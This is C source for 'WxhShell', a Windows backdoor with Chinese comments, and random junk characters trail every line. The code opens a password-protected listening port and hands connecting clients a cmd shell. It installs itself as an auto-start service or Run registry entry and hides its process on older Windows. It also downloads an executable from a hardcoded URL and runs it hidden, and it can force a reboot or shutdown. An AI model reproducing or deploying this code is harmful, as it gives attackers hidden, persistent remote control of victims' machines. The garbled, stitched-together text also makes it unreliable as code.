    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F [S'l  
    else { Prqr,  
    closesocket(wsh); SG{&2G  
    ExitThread(0); Mq Q'Kjo  
    } NhRKP"<CO  
    break; bS&XlgnKi  
    } G @8wv J  
  // 获取shell X 3(CY`HH[  
  case 's': { )=Ens=>Z  
    CmdShell(wsh); C)(/NGf  
    closesocket(wsh); #p7_\+&5s  
    ExitThread(0); c-`izn]  
    break; |TQa=  
  } Rwe!xY^d8  
  // 退出 !vGJ 7  
  case 'x': { _M)J{ {?:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (3  ]!ZV  
    CloseIt(wsh); n,*E s/\  
    break; ^2-+MWW.  
    } LLU]KZhtY|  
  // 离开 z *~rd2  
  case 'q': { <Url&Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7$A=|/'nSA  
    closesocket(wsh); *f k3IvAXu  
    WSACleanup(); 5fuYva >Ik  
    exit(1); V1 {'d[E*  
    break; P:k!dRb9{  
        } j*L-sU  
  } a(IZ2Zmr  
  } m.&"D> \t  
2bt).gGm  
  // 提示信息 +O?`uV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _qU;`Q  
} ~ea&1+Z[3  
  } oA`G\Xh_E  
-5u. Ix3  
  return; iXD=_^^o .  
} M|IgG:a;T  
@q<d^]po  
// shell模块句柄 is6d:p  
int CmdShell(SOCKET sock) LR% P\~  
{ mt]50}eK  
STARTUPINFO si; ?(E?oJ)(  
ZeroMemory(&si,sizeof(si)); jU!ibs}R3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t6! B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o!sHK9hvJ)  
PROCESS_INFORMATION ProcessInfo; F ,h}HlU  
char cmdline[]="cmd"; 2U rE>_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }cd-BW  
  return 0; ROj9#:  
} r`A|2(h5B  
4\iy{1{E,C  
// 自身启动模式 a @i?E0Fr  
int StartFromService(void) P.'$L\  
{ =0_((eXwf  
typedef struct {9|S,<9  
{ Q'c[yu  
  DWORD ExitStatus; 0khAi|PY  
  DWORD PebBaseAddress; drd5o Z  
  DWORD AffinityMask; uYMH5Om+i  
  DWORD BasePriority; 8c'5P  
  ULONG UniqueProcessId; )( W%Hmi  
  ULONG InheritedFromUniqueProcessId; an,JV0  
}   PROCESS_BASIC_INFORMATION; +{[E Ow  
Oz4yUR  
PROCNTQSIP NtQueryInformationProcess; c'uDK>  
 R7ExMJw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VNHt ]Ewj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eJ_$Etc  
4{#0ci{  
  HANDLE             hProcess; -|( q 9B  
  PROCESS_BASIC_INFORMATION pbi; ggHz-oNY  
](SqLTB+?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]tc Cr;  
  if(NULL == hInst ) return 0; .y2np  
0uhIJc'2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q0(3ps~H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k?`Q\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /9(8ML#E  
laA3v3*  
  if (!NtQueryInformationProcess) return 0; B5MEE  
;;<[_gp,E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >IEc4  
  if(!hProcess) return 0; '[Z.\   
K?H(jP2mpM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O^<\]_l  
3y]rhB  
  CloseHandle(hProcess); cPg$*,]  
 H;Cv] -  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k*o>ZpjNH  
if(hProcess==NULL) return 0; 2br~Vn0N  
V<0J j  
HMODULE hMod; 7!('+x(>  
char procName[255]; W=zp:6Z~  
unsigned long cbNeeded; dY'>'1>P 9  
=8 01nZJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HRW }Yl  
W24n%Ps  
  CloseHandle(hProcess); apd"p{  
=(W l'iG   
if(strstr(procName,"services")) return 1; // 以服务启动 _{48s8V  
8e}8@[h  
  return 0; // 注册表启动 zZI7p[A[3  
} f<l.%B  
(m& ''yaH  
// 主模块 :my@Oxx4@  
int StartWxhshell(LPSTR lpCmdLine) cDqj&:$e  
{ 66MWOrr  
  SOCKET wsl; 0]MI*s>&  
BOOL val=TRUE; y>|AX/n  
  int port=0; 06fs,!Q@  
  struct sockaddr_in door; n%I9l]  
>&l{_b\k  
  if(wscfg.ws_autoins) Install(); K])| V  
X2to](\% X  
port=atoi(lpCmdLine); -`d(>ok  
zR_yxs'  
if(port<=0) port=wscfg.ws_port; O`FuXB(t  
AW/)R"+  
  WSADATA data; e3x;(@j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 73tWeZ8rvx  
HQtUNtZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o!}/& '(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {p M3f  
  door.sin_family = AF_INET; o>oZh1/\T,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .aE%z/@s=  
  door.sin_port = htons(port); >TddKR @C  
Fa A7m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GN ?1dwI  
closesocket(wsl); ?Qdp#K]WX  
return 1; ]WZi +  
} .}DL%E`n  
~.f[K{h8  
  if(listen(wsl,2) == INVALID_SOCKET) { Q2K)Nl >_  
closesocket(wsl); 31n|ScXv  
return 1; eKek~U&  
} "i/3m'<2  
  Wxhshell(wsl); s&~.";b  
  WSACleanup(); 7T@"2WYat  
Cd51. Sk(l  
return 0; /S\y-M9  
 =[G)  
} 5"8R|NU:\0  
p:gM?2p1  
// 以NT服务方式启动 E!v^j=h$u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Mq2[^l!qu  
{ Trwk9 +  
DWORD   status = 0; hV>@qOl '  
  DWORD   specificError = 0xfffffff; et0yS%7+?@  
z]F4Z'(e.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 32ae? d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m=p<.%a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NP5;&}uv*!  
  serviceStatus.dwWin32ExitCode     = 0; >"z&KZKI  
  serviceStatus.dwServiceSpecificExitCode = 0; >Gyg`L\  
  serviceStatus.dwCheckPoint       = 0; {uuvgFC  
  serviceStatus.dwWaitHint       = 0; I6,sN9` K  
6mbHfL>cO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d( +E0  
  if (hServiceStatusHandle==0) return; XG_Iq ,  
UON W3}-  
status = GetLastError(); )./.rtP|4  
  if (status!=NO_ERROR) BdZO$ALXL  
{ PM!7ci  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sT"h)I)]*  
    serviceStatus.dwCheckPoint       = 0; {ei,>5K  
    serviceStatus.dwWaitHint       = 0; w=S7zzL)  
    serviceStatus.dwWin32ExitCode     = status; /]*#+;;%  
    serviceStatus.dwServiceSpecificExitCode = specificError; A`qb5LLJ)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %l8nTcL_?  
    return; $>mTPNF  
  } 8GD!]t#  
]VS$ ?wD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =\l7k<  
  serviceStatus.dwCheckPoint       = 0; ; (;J  
  serviceStatus.dwWaitHint       = 0; o4g<[X)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Uv"GG: K_  
} MOEB{~v`;  
HJ,sZ4*]]  
// 处理NT服务事件,比如:启动、停止 $S0eERg a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ooPH [p  
{ $6]7>:8mz  
switch(fdwControl) N}2xt)JZz  
{ Fl^}tC  
case SERVICE_CONTROL_STOP: k(v8zDq*  
  serviceStatus.dwWin32ExitCode = 0; * 5Y.9g3)Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KU}HVM{  
  serviceStatus.dwCheckPoint   = 0; Kzd`|+?'`M  
  serviceStatus.dwWaitHint     = 0; h7H#sL[^  
  { 'of5v6:8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v|v^(P,o  
  } \PB~ 6  
  return; 044*@a5f  
case SERVICE_CONTROL_PAUSE: [ZP8l'?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zu Jl #3YP  
  break; `+(|$?Cu  
case SERVICE_CONTROL_CONTINUE: GL_a`.=@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .h8%zB#|i  
  break; iEf6oM  
case SERVICE_CONTROL_INTERROGATE: Eb<iR)e H=  
  break; = ?hx+-'  
}; ]8XY "2b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vQ}'4i8(  
} fYzOT, c  
yEfV8aY'*  
// 标准应用程序主函数 |,ZmRW^2K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {m/\AG)1I  
{ ;=.QT  
_ .%\czO  
// 获取操作系统版本 M7(vI4V  
OsIsNt=GetOsVer(); 0Up@+R2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G/Xa`4"_  
\ l +RX*  
  // 从命令行安装 %#Vn?zr|~  
  if(strpbrk(lpCmdLine,"iI")) Install(); i7[CqObzc  
Q\~4J1  
  // 下载执行文件 [k9aY$baT^  
if(wscfg.ws_downexe) { $z+iB;x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [z:bnS~yiD  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1;l&ck-Gg/  
} ZL`G<Mo;.  
2b]'KiX  
if(!OsIsNt) { q(Y<cJ?X  
// 如果时win9x,隐藏进程并且设置为注册表启动 4C ;4"6  
HideProc(); _F *(" o  
StartWxhshell(lpCmdLine); }Vpr7_  
} xi=qap=S^9  
else sM?bUg0w  
  if(StartFromService()) 26E"Ui5q  
  // 以服务方式启动 .Jz$)R  
  StartServiceCtrlDispatcher(DispatchTable); OjCT*qyU<  
else +SmcZ^\OZ  
  // 普通方式启动 byv(:xk|'e  
  StartWxhshell(lpCmdLine); HlB'yOHv!  
D4m2*%M  
return 0; X?b]5?K;r  
} z+1#p.F$@  
9BGPq)#  
Jr18faEZw  
.e2u)YqA  
=========================================== ?r QMOJR  
,sk;|OAI  
~u&3Ki*x  
0*%j6*XDq9  
3R?7&oXvH  
WIo^=?%  
" 1{%EQhNd  
,LXuU8sB  
#include <stdio.h> &tKs t,UR8  
#include <string.h> <}%>a@  
#include <windows.h> &j/ WjZPF  
#include <winsock2.h> +b] g;  
#include <winsvc.h> Y$EqBN  
#include <urlmon.h> RC8{QgaI  
*&B*/HAN  
#pragma comment (lib, "Ws2_32.lib") Um\Nd#=:  
#pragma comment (lib, "urlmon.lib") GljxYH"]#  
0K, *FdA  
#define MAX_USER   100 // 最大客户端连接数 0z."6 r  
#define BUF_SOCK   200 // sock buffer J W&/l  
#define KEY_BUFF   255 // 输入 buffer >.PLD} zE_  
Z\xR+3  
#define REBOOT     0   // 重启 FpfOxF6A3  
#define SHUTDOWN   1   // 关机 .F.4fk  
l_u1 ~K  
#define DEF_PORT   5000 // 监听端口 |nXs'TO'O  
_"J-P={=  
#define REG_LEN     16   // 注册表键长度 @5zL4n@w  
#define SVC_LEN     80   // NT服务名长度 r,i^-jv;  
tCK%vd%  
// 从dll定义API W)V"QrFK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [Y*p I&f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d>NElug  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $dci?7q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #:{PAt  
UioLu90 P  
// wxhshell配置信息 GfY!~J  
struct WSCFG { _C"W;n'  
  int ws_port;         // 监听端口 IZ3w.:A  
  char ws_passstr[REG_LEN]; // 口令 uKh),@JV  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]BCH9%zLj  
  char ws_regname[REG_LEN]; // 注册表键名 gOO\` #  
  char ws_svcname[REG_LEN]; // 服务名 .0#?u1gXsX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b}o^ ?NtA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6+FmYp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mN_RB{g{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]m(Uv8/6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (ui"vLk8PP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z KnEg2a  
eUVE8pZl  
}; Revc :m1o  
M'HmVg4'  
// default Wxhshell configuration hp,bfcM  
struct WSCFG wscfg={DEF_PORT, Eti;(>"@  
    "xuhuanlingzhe", G(|ki9^@"9  
    1, j,Qp*b#Qo  
    "Wxhshell", 8@Xq ,J  
    "Wxhshell", KCDEMs}}zM  
            "WxhShell Service", ar=uDb;  
    "Wrsky Windows CmdShell Service", Kw&J< H  
    "Please Input Your Password: ", +D`IcR-x  
  1, "m _wYX  
  "http://www.wrsky.com/wxhshell.exe", c5<M=$  
  "Wxhshell.exe" g-meJhX%  
    }; Am!$\T%2  
&BCl>^wn}  
// 消息定义模块 c&AA< 6pkv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [st4FaQ36  
char *msg_ws_prompt="\n\r? for help\n\r#>";  hPx=3L$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; : UD<1fh  
char *msg_ws_ext="\n\rExit."; sk$MJSE ~  
char *msg_ws_end="\n\rQuit."; yFshV\   
char *msg_ws_boot="\n\rReboot..."; 1'R]An BV  
char *msg_ws_poff="\n\rShutdown..."; _%;$y5]v  
char *msg_ws_down="\n\rSave to "; OYgD9T.8^  
i=.zkIjSh  
char *msg_ws_err="\n\rErr!"; Cz+>S3v M  
char *msg_ws_ok="\n\rOK!"; 7:R8QS9  
yiSv#wD9  
char ExeFile[MAX_PATH]; :u`  
int nUser = 0; \$V~kgQ0  
HANDLE handles[MAX_USER]; z(aei(U=  
int OsIsNt; 'F?T4  
t@>Uc`%  
SERVICE_STATUS       serviceStatus; |OUr=b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &$qqF&  
@.a[2,o_  
// 函数声明 pqBd#  
int Install(void); d11~ mU\  
int Uninstall(void); 5K;jW  
int DownloadFile(char *sURL, SOCKET wsh); ~0!s5  
int Boot(int flag);  4EJ  
void HideProc(void); nxKV7d@R  
int GetOsVer(void); O2q`2L~  
int Wxhshell(SOCKET wsl); ]P<u^ `{*  
void TalkWithClient(void *cs); ^hq`dr|R=  
int CmdShell(SOCKET sock); %/CCh;N#  
int StartFromService(void); 't{~#0d=  
int StartWxhshell(LPSTR lpCmdLine); 1xar L))  
e54wAypPOl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BYyR-m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vp 1IYW  
s6lo11  
// 数据结构和表定义 EQ-r  
SERVICE_TABLE_ENTRY DispatchTable[] = *@S:f"i  
{ "e0$/WQ6J  
{wscfg.ws_svcname, NTServiceMain}, OySIp[{tJ  
{NULL, NULL} Qn ME|j\  
}; G}&B{Ir  
e]'ui<`  
// 自我安装 6x^#|;e>lI  
int Install(void) y-)|u:~h  
{ &{]zL  
  char svExeFile[MAX_PATH]; r;g[<6`!S  
  HKEY key; "6w-jT  
  strcpy(svExeFile,ExeFile); Vi?[yu<F  
93$'PwWgiF  
// 如果是win9x系统,修改注册表设为自启动 1\=)b< y  
if(!OsIsNt) { C,P>7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pb]: i+c)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %# ?)+8"l  
  RegCloseKey(key); ?]]> WP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Fc M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IC{\iwO/~c  
  RegCloseKey(key); P B_ +:S^8  
  return 0; NGOc:>}k>  
    } ]wMd!.lm-  
  } ) gYsg  
} 0D+[W5TB  
else { F"1)y>2k  
P%A;EF~ v  
// 如果是NT以上系统,安装为系统服务 7#SXqyP[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @@"}i7  
if (schSCManager!=0) >\ y|}|?  
{ ~,WG284  
  SC_HANDLE schService = CreateService eRKuy l  
  ( LuM:dJ  
  schSCManager, HQw98/-_W  
  wscfg.ws_svcname, _ [su?C  
  wscfg.ws_svcdisp, }><Vc ouJ[  
  SERVICE_ALL_ACCESS, c>#T\AEkF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jNhiY  
  SERVICE_AUTO_START, h.d-a/  
  SERVICE_ERROR_NORMAL, y3 {'s>O6  
  svExeFile, r: ]t9y>$<  
  NULL, HT0VdvLw  
  NULL, T"xq^h1\  
  NULL, *pK bMG#  
  NULL, `U?" {;j {  
  NULL n!z7N3Ak>  
  ); {+%|n OWV  
  if (schService!=0) l2vIKc  
  { dmI~$*  
  CloseServiceHandle(schService);  +:k Iq  
  CloseServiceHandle(schSCManager); YRa{6*M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g X75zso  
  strcat(svExeFile,wscfg.ws_svcname); @M-i$ q[4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xl8=y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M3P\1  
  RegCloseKey(key); yB0xa%  
  return 0; 3tzb@T  
    } `2-6Qv  
  } &YC Z L  
  CloseServiceHandle(schSCManager); h_#x@p  
} }%Mj`Bh  
} W^#HR  
{9:[nqX  
return 1; B3|h$aKC  
} O{b<UP'85  
o81RD#>E)  
// 自我卸载 fy]z<SPhVJ  
int Uninstall(void) Bn:" q N~  
{ J<hqF4z  
  HKEY key; :/UO3 c(  
ko<u0SjF)u  
if(!OsIsNt) { Sggha~E2s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KZrg4TEVi  
  RegDeleteValue(key,wscfg.ws_regname); =h5&:?X  
  RegCloseKey(key); g~E N3~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7X 4/6]*  
  RegDeleteValue(key,wscfg.ws_regname); s8BfOl-  
  RegCloseKey(key); &CBW>*B  
  return 0; DwSB(O#X  
  } DEJ0<pnQr  
} p[oR4 HWr  
} <L'!EcHm%]  
else { 4SRjF$Bsz  
eb1WTK@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?.Iau/  
if (schSCManager!=0) dpAj9CX(  
{ Qp>'V<%m-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1i=lJmr  
  if (schService!=0) 4`E[ WE:Q  
  { t&|M@Ouet  
  if(DeleteService(schService)!=0) { >-8r|};+  
  CloseServiceHandle(schService); QIl=Ho"c  
  CloseServiceHandle(schSCManager); ]hE%Tk-  
  return 0; 5SV w71 *  
  } 03N|@Tu  
  CloseServiceHandle(schService); C_> WU   
  } m q#8 [D  
  CloseServiceHandle(schSCManager); *<r\:g  
} P+ ejyl,  
} hA=.${uIO  
kXW5bR  
return 1; CE,0@%6F*  
} 78M%[7Cq<i  
.X1xpi%  
// 从指定url下载文件 {ovt 6C  
int DownloadFile(char *sURL, SOCKET wsh) b'AA*v,b  
{ &#/UWv}f 0  
  HRESULT hr; 5>r2&72=  
char seps[]= "/"; `L~gERW#  
char *token; (:Y0^  
char *file; X|&v]mJ  
char myURL[MAX_PATH]; ,c]<Yu  
char myFILE[MAX_PATH]; IKo,P$ PE  
hW<TP'Zm*  
strcpy(myURL,sURL); Gx)U~L$B  
  token=strtok(myURL,seps); =;L44.,g  
  while(token!=NULL) ,I|3.4z  
  { bi{G :xt  
    file=token; C"SG':  
  token=strtok(NULL,seps); pu-X -j  
  } t[e`wj+qz  
k2-+3zx  
GetCurrentDirectory(MAX_PATH,myFILE); P~}Yj@2  
strcat(myFILE, "\\"); ZuLW%z.  
strcat(myFILE, file); ol3].0Vc]  
  send(wsh,myFILE,strlen(myFILE),0); N1D{ %  
send(wsh,"...",3,0); !)r1zSY"g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pNFVa<D  
  if(hr==S_OK) DhVO}g)2#  
return 0; q%S^3C&  
else _a]0<Vm C0  
return 1; evSr?ys  
} "QL"%  
} Wf!u?nH.5  
/Fj*sS8  
// 系统电源模块 8*x/NaH /\  
int Boot(int flag) \Gl>$5np  
{ `8 Ann~Z|k  
  HANDLE hToken; PAD&sTjE*  
  TOKEN_PRIVILEGES tkp; YMG~k3Yb  
Kcu*Z  
  if(OsIsNt) { F+<e9[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sgLw,WZ:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +b sc3  
    tkp.PrivilegeCount = 1; pQ,|l$^m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 61SbBJ6[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =w;~1i% .k  
if(flag==REBOOT) { V=d~}PJ>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~'#yH#o  
  return 0; M o?y4X  
} |=u }1G?  
else { 4e20\q_{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 50`=[l`V  
  return 0; <dWms`Qc O  
} > I>=/i^  
  } )z\ 73|w  
  else { 1j_ 6Sw(  
if(flag==REBOOT) { w~AW( VX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mufXM(  
  return 0; u>\u}c  
} bHRRgR`,  
else { S*l=FRFI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %#7 ]  
  return 0; "}Oj N\  
} y9U*E80q{  
} Ghf/IXq#  
\=2<< iv  
return 1; IY,n7x0d  
} 0'Uo3jAB  
[;Y*f,UG_-  
// win9x进程隐藏模块 ruU &.mZ  
void HideProc(void) 4+B&/}FDLo  
{ tk\)]kj  
frRO?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HVz|*?&6  
  if ( hKernel != NULL ) GdVrl[  
  { ">FuCvQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s 9n_s=w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =3;~7bYO  
    FreeLibrary(hKernel); $DeVXW  
  } v*JXrB&x  
8&wN9tPYZ  
return; BHf7\ +Ul  
} h$)4%Fy  
-uei nd]  
// 获取操作系统版本 P,<pG[^K  
int GetOsVer(void) LV8{c!"  
{ X:JU#sI  
  OSVERSIONINFO winfo; rVM?[_'O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !j%#7  
  GetVersionEx(&winfo); W`F?j-4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pGcijD  
  return 1; lobC G  
  else YBupC!R  
  return 0; #BW:*$>}  
} Utj4f-M  
O`f[9^fN  
// 客户端句柄模块 5 \iX%w@  
int Wxhshell(SOCKET wsl) T9?8@p\}(  
{ !BDJU  
  SOCKET wsh; R*O<(  
  struct sockaddr_in client; PUEEfq!%  
  DWORD myID; 4Z0Y8y8)  
wCt!.<, .  
  while(nUser<MAX_USER) 'M35L30  
{ f {j`d&|  
  int nSize=sizeof(client); }qg.Go  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m](q,65 2  
  if(wsh==INVALID_SOCKET) return 1; JN-W`2  
-ZH6*7!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ay|K>8z   
if(handles[nUser]==0) ]$)U~)T iW  
  closesocket(wsh); =gAn;~  
else !bBx'  
  nUser++; mvu$  
  } y4%[^g~-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,56objaE  
`Y,<[ Lnr  
  return 0; 6& KcO:}-  
} ^WUG\@B  
e"cvo(}g  
// 关闭 socket '_ l5Br73=  
void CloseIt(SOCKET wsh) ;Dp<|n  
{ ]p*Fq^  
closesocket(wsh); 8Z>=sUMQ  
nUser--; MI,kKi  
ExitThread(0); (/jZ &4T  
} ]6].l$%z#  
~\UAxB=  
// 客户端请求句柄 $ S]l%  
void TalkWithClient(void *cs) Ap!Y 3C  
{ qS[KB\RN1  
ZjveXrx  
  SOCKET wsh=(SOCKET)cs; [orS-H7^  
  char pwd[SVC_LEN]; Xcb'qU!2-^  
  char cmd[KEY_BUFF]; {YIf rM  
char chr[1]; 2h#_n'DV  
int i,j; 5GwzG<.\^_  
bE1@RL  
  while (nUser < MAX_USER) { H'?dsc  
!Q=xIS  
if(wscfg.ws_passstr) { ^oDSU7j5,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UF;iw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zXGi  
  //ZeroMemory(pwd,KEY_BUFF); k3UKGP1  
      i=0; zh Vkn]z~*  
  while(i<SVC_LEN) { _)MbvF  
vt(cC) )  
  // 设置超时 EttQ<z_T  
  fd_set FdRead; ; mwU>l,4  
  struct timeval TimeOut; y\mK?eR  
  FD_ZERO(&FdRead); z+]YB5zK%  
  FD_SET(wsh,&FdRead); ok/{ w  
  TimeOut.tv_sec=8; #T08H,W/  
  TimeOut.tv_usec=0; QBLha']'%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~ekV*,R"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e VRjU  
Jj7he(!_1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rz"gPU4;`  
  pwd=chr[0]; @QAI 0ZY  
  if(chr[0]==0xd || chr[0]==0xa) { -op(26:W<  
  pwd=0; UgD&tD0fp  
  break; I2)#."=Ew  
  } fcisDu8n  
  i++; )<vuv9=k\%  
    } Q6hWHfS  
dReJ;x4  
  // 如果是非法用户,关闭 socket ]::g-&%Um  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N _|tw  
} hw 0u?++  
J'@`+veE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CDT3&N1'R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); en-HX3'  
gJ?Vk<hp  
while(1) { M"E7= J  
oNp(GQ@0  
  ZeroMemory(cmd,KEY_BUFF); {xCqz0  
G'(8/os{  
      // 自动支持客户端 telnet标准   HBcL1wfS  
  j=0; ~ ":}Rs  
  while(j<KEY_BUFF) { %Iv*u sXP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,o s M|!,  
  cmd[j]=chr[0]; DgKe!w$  
  if(chr[0]==0xa || chr[0]==0xd) { 6Jd.Eg ~A7  
  cmd[j]=0; 17+2`@vJgM  
  break; \pVWYx  
  } yc.9CTxx  
  j++; 18o5Gs;yx  
    } 'L8B"5|>  
/7uA f{  
  // 下载文件 &nfGRb  
  if(strstr(cmd,"http://")) { L[O.]2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -HUlB|Q8r  
  if(DownloadFile(cmd,wsh)) zA*I=3E(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3oMhsQz~z  
  else T[eb<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q$8K-5U%  
  } x#}{z1op9  
  else { 1[4 0\sM  
PEPf=sm  
    switch(cmd[0]) { v-!^a_3Ui  
  Og<nnq  
